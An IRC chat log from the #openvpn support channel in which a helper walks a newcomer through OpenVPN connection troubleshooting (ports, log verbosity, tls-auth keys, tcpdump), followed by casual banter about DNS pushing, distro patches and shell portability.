12:24 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 268 seconds]
12:41 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 240 seconds]
12:42 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
12:56 -!- kubbing [~kubbing@ip-78-102-124-153.net.upcbroadband.cz] has joined #openvpn
13:04 -!- Marlenee [~creacatio@gateway/tor-sasl/creacation] has quit [Ping timeout: 240 seconds]
13:04 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has joined #openvpn
13:05 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has quit [Max SendQ exceeded]
13:06 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has joined #openvpn
13:07 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has quit [Max SendQ exceeded]
13:08 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has joined #openvpn
13:08 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has quit [Max SendQ exceeded]
13:09 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 256 seconds]
13:10 -!- Marlenee [~creacatio@gateway/tor-sasl/creacation] has joined #openvpn
13:11 -!- Cal [Callum@cpc15-wake7-2-0-cust331.17-1.cable.virginmedia.com] has joined #openvpn
13:12 -!- Cal is now known as blal
13:12 < blal> !welcome
13:12 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum !wiki
13:12 <@vpnHelper> !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
13:12 < blal> !howto
13:12 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
13:13 < blal> Hi guys, do you know of a "for-complete-newbies" guide, since the howto looks awfully confusing and I've had no success with following it :/ I even found an automated sh script that didn't work
13:13 < blal> Thanks
13:15 <+pekster> OpenVPN (and really VPNs in general) are an advanced networking concept this really isn't for people not familiar with the basics. The howto is about as basic as it gets since it walks you through every step you need in order to set up a basic VPN
13:15 <+pekster> You'll end up with better luck here if you try to use the resources availalbe and ask a more specific question
13:15 < blal> Oh, well I guess I'll try again then. I had the access servr edition workinmg but I'd like more connections. Thanks anyway
13:15 -!- evelyette [~evelyette@BSN-95-233-106.static.dsl.siol.net] has quit [Ping timeout: 245 seconds]
13:16 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Read error: Connection reset by peer]
13:16 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
13:26 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has joined #openvpn
13:29 -!- evelyette [~evelyette@93-103-107-74.dynamic.t-2.net] has joined #openvpn
13:35 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection]
13:40 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
13:40 -!- mode/#openvpn [+v s7r] by ChanServ
13:41 < blal> !redirect
13:41 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
13:41 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
13:41 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has quit [Ping timeout: 240 seconds]
13:42 < blal> !def1
13:42 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
13:47 -!- kubbing [~kubbing@ip-78-102-124-153.net.upcbroadband.cz] has quit [Remote host closed the connection]
13:47 -!- kubbing [~kubbing@ip-78-102-124-153.net.upcbroadband.cz] has joined #openvpn
13:51 -!- kubbing [~kubbing@ip-78-102-124-153.net.upcbroadband.cz] has quit [Ping timeout: 240 seconds]
13:52 -!- klein [~klein@187.4.194.194] has joined #openvpn
13:52 -!- klein [~klein@187.4.194.194] has quit [Changing host]
13:52 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
13:59 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
13:59 -!- evelyette [~evelyette@93-103-107-74.dynamic.t-2.net] has quit [Read error: Operation timed out]
14:01 -!- evelyette [~evelyette@93-103-107-74.dynamic.t-2.net] has joined #openvpn
14:05 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
14:05 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 245 seconds]
14:16 < blal> !nat
14:16 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
14:42 < blal> Hi, do you know if there would be any problems caused by running the VPN on port 443TCP?
14:43 < blal> I'm trying to browse the itnernet through it, and as far as I can see with the howto I've done everything I need, I've set the virtual ethernet adapter as my primary connection in windows, but as long as I;m connected I can't load any webpages
14:43 -!- evelyette [~evelyette@93-103-107-74.dynamic.t-2.net] has quit [Ping timeout: 264 seconds]
14:43 < blal> before I could ping IPs, then I restarted my server and can no long even do that
14:47 <+pekster> blal, there's no "problem" doing it over TCP, but it's best to use UDP for your VPN transport for performance reasons:
14:47 <+pekster> !tcp
14:47 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
14:48 <+pekster> blal: This said, if the steps in !redirect are giving your trouble, follow the flowchart as it will tell you what your issue is
14:48 < blal> Okay, thankyou
14:49 < blal> I tried TCP27013, but despite the fact it's PF'd in my router and the server has no restrictions I am aware of, it didn't even connect. Thanks for the help
14:49 <+pekster> tcpdump on your interfaces can show you if the packet at least makes it to the destination system
14:50 < blal> I'll try with the default UDP port then
14:50 <+pekster> OpenVPN will note 'initial packet received from [source]' in the logs when a first-packet connection is received
14:50 <+pekster> If you don't get that, either a firewall is blocking it, or the request isn't even getting to your server
14:50 < blal> I don't remember seeing that-- it was just idle at the "initialised" screen
14:51 < blal> yeah, I'll try the UDP
14:51 <+pekster> !tcpdump
14:51 <@vpnHelper> "tcpdump" is (#1) tcpdump is a great troubleshooting tool (Wireshark or the tshark.exe CLI tools for Windows.) To start, try a syntax like `tcpdump -pni ifWhatever` or (#2) You can also add filters to the command, like 'icmp' or 'udp port 1194' and the like. Consult the tcpdump docs for details.
14:51 < blal> When it WAS connected through 443, the console was spamming lines, should it be doing that?
14:52 <+pekster> !verb
14:52 <@vpnHelper> "verb" is (#1) verb command is for setting log verbosity, see --verb in the manual (!man) for more info or (#2) verb 5 is good for finding firewall problems, verb 4 for troubleshooting anything else, and 3 is good for every day usage.
14:52 < blal> oh, right, I'll make sure to change that
14:52 < blal> thanks again
14:52 <+pekster> !learn verb as Anything more than 5 is for developer debugging only
14:52 <@vpnHelper> Joo got it.
14:55 < blal> ...the verb was set at 6 -- that might explain it
14:55 <+pekster> If you set it to 7 or above on recent versions it actually complains in the log unless you compiled with special debugging enabled
14:56 <+pekster> >=6 is useless unless your actual working on the openvpn code
14:56 -!- evelyette [~evelyette@93-103-107-74.dynamic.t-2.net] has joined #openvpn
15:01 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has quit [Quit: Leaving.]
15:05 < blal> Where is ta.key? I got an error of TLS Error: reading acknowledgement record from packet
15:05 < blal> Which oogle teels me that I need a ta.key on the server and client
15:12 <@krzee> !hmac
15:12 <@vpnHelper> "hmac" is (#1) The tls-auth directive adds an additional HMAC signature to all SSL/TLS handshake packets for integrity verification. Any UDP packet not bearing the correct HMAC signature can be dropped without further processing. The tls-auth HMAC signature provides an additional level of security above and beyond that provided by SSL/TLS. or (#2) openvpn --genkey --secret ta.key to make the tls
15:12 <@vpnHelper> static key , in configs: tls-auth ta.key # , 1 for client or 0 for server in the configs
15:13 < blal> I did that, and that made everything worse
15:13 -!- evelyette [~evelyette@93-103-107-74.dynamic.t-2.net] has quit [Ping timeout: 245 seconds]
15:13 < blal> since now the server doesn't even acknowledge the connection
15:25 -!- evelyette [~evelyette@93-103-107-74.dynamic.t-2.net] has joined #openvpn
15:25 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
15:30 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Read error: Connection reset by peer]
15:37 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Quit: Nettalk6 - www.ntalk.de]
15:42 < blal> Okay now I'm very confused, ta.key exists for both, 0 on the server 1 on the client
15:42 < blal> yet still getting the connection error
15:52 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
15:53 <+pekster> blal, a quick glance at the code indicates that error is not cuased by the --tls-auth key as it happens after the packet was authenticated. That's a "reliability level" error for OpenVPN's builtin "reliable delivery" model when the ACK record of the openvpn packet can't be read
15:54 <+pekster> Try posting your configs somewhere (with comments/blanks removed please, see grep syntax below for that) to a pastebin, like paste.kde.org:
15:54 <+pekster> !paste
15:54 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments
15:54 <+pekster> !configs
15:54 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
15:54 < blal> Okay, I'll so that now
15:58 < blal> http://www.p.pomf.se/1192 pekster
15:58 <@vpnHelper> Title: Pomf Paste - Uguu~ (at www.p.pomf.se)
16:00 <+pekster> FYI debian's definition of "most recent" is 2.2.x, while 2.3.2 is the most recent official release. Not an issue, just a point on clarification
16:00 < blal> Right, sorry
16:01 < blal> Do you see any glaring issues? I've checked the contents of ta.key on both ends and it seeems to be matching
16:02 <+pekster> No issues; best to md5sum your ta.key file, just to be sure
16:02 < blal> and if they match?
16:02 <+pekster> But I don't think that's it based on where the error you get shows up in the code
16:02 < blal> Should I regenerate the ta.key?
16:03 <+pekster> Can you try verb 7 (yes, now we need a brief moment of debugging) on the server and see if you get an error right before that TLS one you posted above that reads: ""ACK read BAD SESSION-ID FROM REMOTE" ?
16:03 < blal> Sure
16:03 <+pekster> It should appear right before the TLS error
16:05 < blal> ...hm, it's just connecting. Let me restart the laptop
16:05 <+pekster> verb 4 on the client would be wise to make sure it's not unhappy about something
16:05 <+pekster> Lower it later if you'd like
16:05 < blal> I'm running it on windows sadly
16:05 < blal> Unless there's a command line version?
16:05 < blal> I just downloaded the openVPN client
16:05 <+pekster> What's that got to do with anything?
16:06 <+pekster> And yes, openvpn can be run from a console too
16:06 <+pekster> (it's a console application)
16:06 < blal> well I downloaded the client GUI
16:06 <+pekster> There is no "client" download
16:06 <+pekster> Maybe you accidently downloaded the non-GPL (non-free) commercial product "OpenVPN Connect" ? That's not OpenVPN
16:06 < blal> potentially
16:06 <+pekster> !download
16:06 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
16:06 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
16:07 < blal> oh
16:07 < blal> yeah that was silly, I just typed client in thinking it was a seperate appliction -- it's strange that it DID connect earlier on (on TCP) though
16:07 <+pekster> If you installed the commercial stuff and didn't intend to, I suggest you back up (move) your config+keys+certs to a safe spot, uninstall the program, and nuke the directory
16:07 <+pekster> !connect
16:07 <@vpnHelper> "connect" is OpenVPN Connect is part of the commercial, non-free (non-GPL) corporate offering; see #openvpn-as for help with these. For the community-maintained GPL OpenVPN, see !download for download links, !android for GPL-openvpn on Android, or !howto for the beginner how-to guide
16:07 < blal> I'll do that now then
16:09 < blal> So once it's installed, run it from the command line then?
16:09 <+pekster> !gui
16:09 <@vpnHelper> "gui" is (#1) The only official GUI is the OpenVPN-GUI for Windows (see https://community.openvpn.net/openvpn/wiki/OpenVPN-GUI .) While there are other 3rd party GUIs, they may cause unexpected issues or (#2) If you're having problems starting OpenVPN through an unoffiical GUI, try launching it on the command line; if that works, the GUI is your problem
16:10 <+pekster> The Windows GUI (the official one that ships with the GPL OpenVPN installer for Windows) is basically just a wrapper around the openvpn process that uses the management interface
16:13 < blal> Started on this config file
16:13 < blal> ?Nothing on either end
16:13 < blal> blank windows
16:15 < blal> okay with verb 4 on
16:16 < blal> Still no response from the server
16:19 <+pekster> No clue what "no response" means since before you had a very specific (and somewhat obscure) TLS error on the server
16:19 <+pekster> !logs
16:19 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
16:19 < blal> asin
16:19 < blal> The server doesn't eve acknowledge anything is happening
16:19 <+pekster> Then the packet isn't getting to the server
16:20 <+pekster> tcpdump to find out why
16:20 <+pekster> You will never get "nothing" at both ends -- the client will timeout after 60 seconds of failing to talk to the server
16:21 < blal> It appears to not be -- it keeps pringing IDPv4 linklocal: [undef]
16:21 <+pekster> You get large amounts of text at verb 4
16:21 <+pekster> If you're not using verb 4, you didn't read !logs very carefully
16:22 <+pekster> 5 is probably more helpful if you don't get connections
16:22 <+pekster> 7 is required on the server in the case of that particular TLS error, should get get it again
16:22 <+pekster> Most of this I've already covered
16:23 -!- Fuehrer [~Callum@cpc15-wake7-2-0-cust331.17-1.cable.virginmedia.com] has joined #openvpn
16:24 -!- Fuehrer is now known as blal2
16:24 < blal2> UDP not IDP
16:24 -!- wedgeV [~wedge@cpe-68-173-17-57.nyc.res.rr.com] has joined #openvpn
16:25 -!- master_o1_master [~master_of@p4FD7BA20.dip0.t-ipconnect.de] has joined #openvpn
16:26 -!- blal [Callum@cpc15-wake7-2-0-cust331.17-1.cable.virginmedia.com] has quit [Ping timeout: 268 seconds]
16:26 < wedgeV> hi, i have push "redirect-gateway" in the server config, but when i connect to client sets the default gateway to the tunnel dst ip, which doens't work, when i manually set it to 172.31.0.1 it works fine. any way i can specify what the server tells the client to use as gw?
16:28 <+pekster> wedgeV, push the `route-gateway` directive -- the `server` helper-directive does this for you, but if you're not using it you'll need to push it yourself to the tunnel peering IP
16:28 <+pekster> Note that in net30 you will never peer with $net_prefix.1, but that is valid in subnet and tap topoogies
16:28 -!- master_of_master [~master_of@p4FD7BE5D.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
16:29 <+pekster> (and possibly p2p, if that's the valid peer IP)
16:29 < blal2> http://p.pomf.se/1193 this is the log from windows
16:29 <@vpnHelper> Title: Pomf Paste - Uguu~ (at p.pomf.se)
16:31 <+pekster> blal2, generally you don't supply --ping or --pint-restart values from the client like that as the server will push them; in this case it appears your outbound packets never make it to the server and the TLS negotiation never starts
16:31 < wedgeV> i have "server 172.31.0.0 255.255.255.0"
16:32 <+pekster> blal2: In your case, the ping timeout occurs "before" the TLS timeout does, but the effect is the same (no connection, so the client tries again.)
16:32 <+pekster> wedgeV: What topology are you using? net30 is the default (see !/30 for details) and you should be peering with the "other" usable IP in the /30 for routing needs
16:33 < blal2> What can I do to fix this? It's not a PF issue Idon't think, since it's UDP53 which uis what DNS is, or perhaps that is the reason?
16:33 <+pekster> In the 'subnet' topology (recommended today) you will peer with the server at .1
16:33 < blal2> I was told to use 53 to make sure it would work at places like university
16:33 <+pekster> blal2: I told you, tcpdump to make sure packets 1) leave your physical host and physical network border and 2) tcpdump on the server to make sure the packets come in
16:33 <+pekster> See !tcpdump if you need a reminder on how to use that, and then consult its documentation
16:34 <+pekster> If packets aren't delivered, OpenVPN won't work
16:34 < blal2> !tcpdump
16:34 <@vpnHelper> "tcpdump" is (#1) tcpdump is a great troubleshooting tool (Wireshark or the tshark.exe CLI tools for Windows.) To start, try a syntax like `tcpdump -pni ifWhatever` or (#2) You can also add filters to the command, like 'icmp' or 'udp port 1194' and the like. Consult the tcpdump docs for details.
16:34 <+pekster> Sime sites do filter udp/53 traffic, or force it to redirect to a DNS server (assuming they're DNS packets.) YMMV; sometimes that trick works, othertimes not
16:36 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
16:36 < blal2> Right, listening on UDP 53
16:39 -!- wedgeV [~wedge@cpe-68-173-17-57.nyc.res.rr.com] has quit [Ping timeout: 240 seconds]
16:39 -!- wedge_ [~wedge@cpe-68-173-17-57.nyc.res.rr.com] has joined #openvpn
16:42 < blal2> pekster,something's happening
16:42 < blal2> http://p.pomf.se/1194
16:42 <@vpnHelper> Title: Pomf Paste - Uguu~ (at p.pomf.se)
16:45 <+pekster> Use -n next time
16:45 <+pekster> And -p unless you know you don't need it
16:46 <+pekster> You're sending packets to "GLaDOS.domain" and never getting any back
16:46 < blal2> Well that was the output fromt he server
16:46 <+pekster> I presume this is the server target? You really ought to filter by your target host if you're using udp/53, otherwise you get the DNS trash too
16:47 <+pekster> Ah, k. So that's its own name? (this is why we use -n when tcpdumping -- I don't really want to learn all your DNS names for crap.)
16:47 < blal2> I'll redo it with -n and -p
16:47 <+pekster> So yes, packets are arriving. If the server doesn't see the 'initial packet received from [client]" then you have a firewall problem
16:47 <+pekster> Ideally toss in an filter for '... and host $your_remote_client_ip_here'
16:50 -!- master_of_master [~master_of@p4FF2456E.dip0.t-ipconnect.de] has joined #openvpn
16:50 < blal2> http://p.pomf.se/1195 This is what I get now
16:50 <@vpnHelper> Title: Pomf Paste - Uguu~ (at p.pomf.se)
16:52 -!- wedge_ [~wedge@cpe-68-173-17-57.nyc.res.rr.com] has quit [Ping timeout: 260 seconds]
16:53 <+pekster> That's only DNS traffic (and why I suggseted you filter it out)
16:53 -!- master_o1_master [~master_of@p4FD7BA20.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
16:54 < blal2> So there's nothing reaching the server then
16:54 <+pekster> Your host is *sending* traffic; you're not receiving any externally
16:54 < blal2> I'll run wireshark on the client
16:54 <+pekster> If your client has public IP 203.0.113.6, then you'd expect to see an inbound packet from an ephemeral (random) port on the client bound for your server's IP to port 53
16:55 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Read error: Connection reset by peer]
16:55 < blal2> I mean the IP on the DNS traffic is my home (client) IP
16:55 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
16:57 <+pekster> "DNS traffic" isn't useful here
16:57 < blal2> yeah
16:57 <+pekster> I've suggested (for the 3rd time now) you limit your capture filter to catch only traffic between your endpoints
16:58 <+pekster> Read about the `host` filter to tcpdump (try the manpage.) This isn't a channel to tech you how to use basic networking tools
16:58 < blal2> Sorry -- I'll look at it now
16:59 <+pekster> Just "follow the packet" -- if it leaves the network you personally control and never appears on the far side, something is dropping it. It's that simple
16:59 -!- evelyette [~evelyette@93-103-107-74.dynamic.t-2.net] has quit [Ping timeout: 240 seconds]
17:08 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Read error: Connection reset by peer]
17:09 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
17:15 < blal2> Looking at wireshark, all the packets are on DNS
17:15 < blal2> Should I change the port?
17:16 <+pekster> On the _client_ end? Either you're mis-reading the capture, you've failed to capture the client's outbound traffic, or you have a client outbound firewall dropping it
17:16 < blal2> Right, I'll disable windows firewlall entirely
17:16 <+pekster> In any event changing the port won't help you
17:16 < blal2> since I've just set up wireshark to capture ALL traffic on udp 53
17:20 < blal2> Still apparently nothing
17:20 < blal2> I'm really stumped
17:34 -!- novaflash is now known as novaflash_away
18:04 -!- niftylettuce [uid2733@gateway/web/irccloud.com/x-iwhuqtwgxmlrbzkm] has joined #openvpn
18:19 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 264 seconds]
18:26 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 246 seconds]
18:30 -!- blal2 [~Callum@cpc15-wake7-2-0-cust331.17-1.cable.virginmedia.com] has quit [Ping timeout: 268 seconds]
18:34 -!- Marlenee [~creacatio@gateway/tor-sasl/creacation] has left #openvpn []
18:35 < Eugene> Are you a tree?
18:39 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
18:49 -!- HaxCore [~p3rror@41.249.155.113] has quit [Quit: Leaving]
18:58 -!- p3rror [~mezgani@2001:0:53aa:64c:181c:7a06:d606:648e] has joined #openvpn
19:02 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
19:18 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has joined #openvpn
19:20 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:21 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 246 seconds]
19:24 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
19:28 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
19:28 -!- kro[au] [~thatguy@kgovps.com] has quit [Quit: ZNC - http://znc.sourceforge.net]
19:29 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
19:33 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
20:10 -!- Denial [Denial@05417302.skybroadband.com] has quit []
20:20 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Read error: Connection reset by peer]
20:23 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
20:56 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
21:10 -!- kirin` [telex@gateway/shell/anapnea.net/x-vkcuvpqnhkiogduu] has quit [Ping timeout: 240 seconds]
21:12 -!- kirin` [telex@gateway/shell/anapnea.net/x-qiswrxczbohhpbny] has joined #openvpn
21:23 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
21:47 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
21:56 -!- LEGOman [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
21:56 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
22:08 -!- fluter [~fluter@fedora/fluter] has quit [Read error: Connection reset by peer]
22:29 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
22:47 -!- p3rror [~mezgani@2001:0:53aa:64c:181c:7a06:d606:648e] has quit [Ping timeout: 264 seconds]
23:12 < sailerboy> Hey, I was wondering for openvpn, I'm having a bit of trouble. I can access ip addresses just fine, but trying to ping google.com results in "ping: unknown host google.com"
23:12 < sailerboy> but nslookup works fine
23:13 < Eugene> Sounds like you're doing client internet redirecting?
23:13 < sailerboy> nvm
23:13 < sailerboy> i got it to work
23:13 < sailerboy> i fucked up my resolv.conf
23:13 < Eugene> Aheheheh
23:13 < Eugene> !resolvconf
23:13 < Eugene> !factoids search resolv
23:13 <@vpnHelper> No keys matched that query.
23:14 < Eugene> Useless fucking bot.
23:14 < sailerboy> lol
23:14 <+pekster> There's a --values siwtch to the search feature, but it fails a lot
23:14 < Eugene> !pushdns
23:14 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
23:14 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
23:14 <+pekster> FYI, that update-resolv-conf only works for distros that _use_ resolvconf to begin wtih
23:15 <+pekster> namely, ubuntu
23:15 < Eugene> Doesn't gentoo have some garbage in the openvpn init script to force it upon you?
23:15 <+pekster> That can be turned off easily
23:15 < Eugene> The fact that it's on by default makes me vomit
23:15 <+pekster> The only crap gentoo pulls that you "can't" easily turn off is user downgrading when running as a server
23:16 <+pekster> And I hack that in myself; optionally you can do `--user root --group root` but that's just silly
23:16 < Eugene> Gentoo is the worst set of make scripts I've ever used.
23:16 <+pekster> The actual build system is quite flexible
23:16 < Eugene> Shhh, you're ruining the joke
23:18 <+pekster> I should offer 2 patches to downstream: one to allow the user downgrading to be turned off (that's not a bad default actually, so long as the patch spits the warning during install, not "just" when you have a config it'll abuse) and a 2nd patch to make DNS mangling opt-in
23:18 <+pekster> Then watch them reject both; I managed to piss off a maintainer when I suggested that patching openvpn_execve() to support programs in the $PATH was a dumb idea
23:19 <+pekster> Fools got pissed off when another upstream change moved ifconfig from /sbin/ to /bin/, then wanted openvpn to not need a recompile to fix it, so they ripped out security features to do it, then said "oh, no big deal." Thankfully that bug/patch was never merged in
23:20 <+pekster> I mean, really? You're going to patch openvpn so you can avoid a 3 minute compile? Oh well.. "Downstream Issues" I guess
23:20 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
23:20 <+pekster> Okay, rant mode off :)
23:20 < Eugene> Ahehehe
23:20 < Eugene> My favorite recent butthurt was the /bin symlink to /usr/bin
23:20 < Eugene> I say "recent", but it's been years now
23:21 <+pekster> I dunno, every distro has their problems. For any package I care about, I track "downstream patching" carefully and just build/run my own if it's ever a problem
23:21 <+pekster> For the rest, I file it happily under "I'll let everyone else sort it out and run what they think is best"
23:22 < Eugene> Everything I do runs just fine under RHEL-kin. Fuck everybody else if your system is so fucktarded that it can't comprehend #!/bin/bash
23:22 <+pekster> Ubuntu ships a 2.2.x openvpn that adds in the pre-official IPv6 support; that won't handle smaller than /64s, so I now have openvpn run out of /usr/local/apps/openvpn-2.3.2 on my ubuntu boxes
23:22 < Eugene> I especially have no patience for #!/bin/sh zealots, or worse yet, #!/usr/bin/env sh
23:23 < Eugene> Like, what the hell sort of system are you on that doesn't have bash in 2013
23:23 < Eugene> I get it if you're writing shell scripts in zsh, BUT THAT ISN'T SHELL.
23:23 < Eugene> That's z.
23:23 <+pekster> (ssh, don't let the BSD folks hear you. They use /usr/pkg/bin/bash ;)
23:24 < Eugene> Yeah, that was what the request was for.
23:24 < Eugene> I LIKE that my scripts break under vanilla sh. It tells me right off that bat that your system is a goddamned antique and should be taken out back and shot.
23:25 < Eugene> The python2 vs python3 thing I'm less thrilled about, but /usr/bin/python2|3 has worked everywhere I've tried it.
23:25 <+pekster> Depends on what the goal is: if you want to support POSIX then there's no reason not to cater to anything except "original bourne" (which isn't POSIX)
23:26 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Remote host closed the connection]
23:26 <+pekster> If you don't need bashisms (or $(your_favourite_shell)isms) then don't use them and stick with a universally supported featureset
23:26 < Eugene> The goal is to run the damn software without having to cater to everybody's variety of kitchen sink
23:26 < Eugene> And remembering which is a bashism and what's allowed
23:26 <+pekster> Then stick with /bin/sh as the interperter and write POSIX friendly code
23:27 < Eugene> That's just it; I was lucky enough to not be born in the 60s, "modern" things have been around since there were two 9s in year numbers
23:27 <+pekster> So far the only "non-POSIX" bit in my easyrsa3 code is the use of functional-local variables, and those "should" work on any platform someone is running it on
23:27 < Eugene> If your system hasn't learned them since then, go away. I don't care about you.
23:27 <+pekster> You do realize the latest POSIX spec is from 2008, yes?
23:28 <+pekster> "Modern enough for me" is where I'm filling that
23:28 < Eugene> I do, but the restrictions for "pure sh" haven't changed since.... 80s?
23:29 <+pekster> By all means if you want extra features in bash, perl, python, or ruby, go use them
23:29 <+pekster> It's just going to be less portable
23:29 < Eugene> Sure is. Which is the point.
23:29 < Eugene> "Works for me, screw you if it doesn't."
23:30 <+pekster> I even made /bin/sh play nice on Windows ;)
23:31 < Eugene> I've also grown to hate the GPL as of late, because of the restrictions on doing things. WTFPL is so much easier.
23:31 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Remote host closed the connection]
23:33 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 264 seconds]
23:37 <+pekster> Eugene: So, out of curiousity, you are using iproute2 over net-tools, right? :P
23:37 < Eugene> Yes.
